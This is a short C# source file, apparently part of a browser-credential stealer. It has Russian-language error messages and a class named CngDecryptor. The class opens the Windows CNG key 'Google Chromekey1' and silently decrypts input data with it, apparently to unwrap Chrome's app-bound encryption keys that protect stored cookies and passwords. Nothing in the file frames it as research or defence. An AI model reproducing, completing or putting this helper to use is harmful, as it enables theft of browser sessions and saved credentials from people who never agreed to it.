using System;

namespace Intelix.Helper.Encrypted;

public static class CngDecryptor
{
	private const int NCRYPT_SILENT_FLAG = 64;

	public static byte[] Decrypt(byte[] inputData, string providerName = "Microsoft Software Key Storage Provider", string keyName = "Google Chromekey1")
	{
		IntPtr phProvider = IntPtr.Zero;
		IntPtr phKey = IntPtr.Zero;
		try
		{
			int num = NativeMethods.NCryptOpenStorageProvider(out phProvider, providerName, 0);
			if (num != 0)
			{
				throw new Exception($"Ошибка NCryptOpenStorageProvider: Код {num}");
			}
			num = NativeMethods.NCryptOpenKey(phProvider, out phKey, keyName, 0, 0);
			if (num != 0)
			{
				throw new Exception($"Ошибка NCryptOpenKey: Код {num}");
			}
			num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, null, 0, out var pcbResult, 64);
			if (num != 0)
			{
				throw new Exception($"Ошибка определения размера NCryptDecrypt: Код {num}");
			}
			byte[] array = new byte[pcbResult];
			num = NativeMethods.NCryptDecrypt(phKey, inputData, inputData.Length, IntPtr.Zero, array, array.Length, out pcbResult, 64);
			if (num != 0)
			{
				throw new Exception($"Ошибка NCryptDecrypt: Код {num}");
			}
			Array.Resize(ref array, pcbResult);
			return array;
		}
		finally
		{
			if (phKey != IntPtr.Zero)
			{
				NativeMethods.NCryptFreeObject(phKey);
			}
			if (phProvider != IntPtr.Zero)
			{
				NativeMethods.NCryptFreeObject(phProvider);
			}
		}
	}
}